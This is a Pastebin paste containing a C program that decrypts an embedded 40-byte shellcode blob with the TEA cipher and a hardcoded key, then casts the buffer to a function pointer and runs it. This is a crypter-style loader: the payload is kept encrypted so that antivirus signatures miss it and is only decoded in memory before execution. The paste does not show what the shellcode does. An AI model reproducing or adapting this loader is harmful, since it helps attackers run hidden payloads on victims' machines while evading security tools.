Advertisement
Guest User

Untitled

a guest
Jan 25th, 2015
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.46 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <stdint.h>
  4. #include <string.h>
  5. void decrypt (uint32_t* v, uint32_t* k);
  6. void decryptBlock(uint8_t * data, uint32_t * len, uint32_t * key);
  7. uint32_t TEAKey[4] = {0x68697071, 0x65646172, 0x6d6f635f, 0x6c697665};
  8. uint8_t shellcode[] = "\x89\x45\x8b\x36\x8a\xc9\x8b\x48\xd6\xb2\x9a\x53\xc8\x59\x18\xd4\x46\x26\x6e\xbf\x33\xdc\x20\x5d\x46\x01\x38\x7c\x4d\x3e\x23\xf1\xa3\xaa\xbf\x73\x46\xdb\xcc\xcd";
  9. int main()
  10. {
  11. uint32_t* len;
  12. uint32_t shellcode_len = 0;
  13. uint32_t counter = 0;
  14. shellcode_len = strlen(shellcode);
  15. len = &shellcode_len;
  16. decryptBlock(shellcode, len, TEAKey);
  17. puts("\nDecrypting and running Shellcode:");
  18. int (*ret)() = (int(*)())shellcode;
  19. ret();
  20. }
  21. void decryptBlock(uint8_t * data, uint32_t * len, uint32_t * key)
  22. {
  23. uint32_t blocks, i;
  24. uint32_t * data32;
  25. // treat the data as 32 bit unsigned integers
  26. data32 = (uint32_t *) data;
  27. // Find the number of 8 byte blocks
  28. blocks = (*len)/8;
  29. for(i = 0; i< blocks; i++)
  30. {
  31. decrypt(&data32[i*2], key);
  32. }
  33. // Return the length of the original data
  34. *len = data32[(blocks*2) - 1];
  35. }
  36. void decrypt (uint32_t* v, uint32_t* k) {
  37. uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
  38. uint32_t delta=0x9e3779b9; /* a key schedule constant */
  39. uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
  40. for (i=0; i<32; i++) { /* basic cycle start */
  41. v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
  42. v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
  43. sum -= delta;
  44. } /* end cycle */
  45. v[0]=v0; v[1]=v1;
  46. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement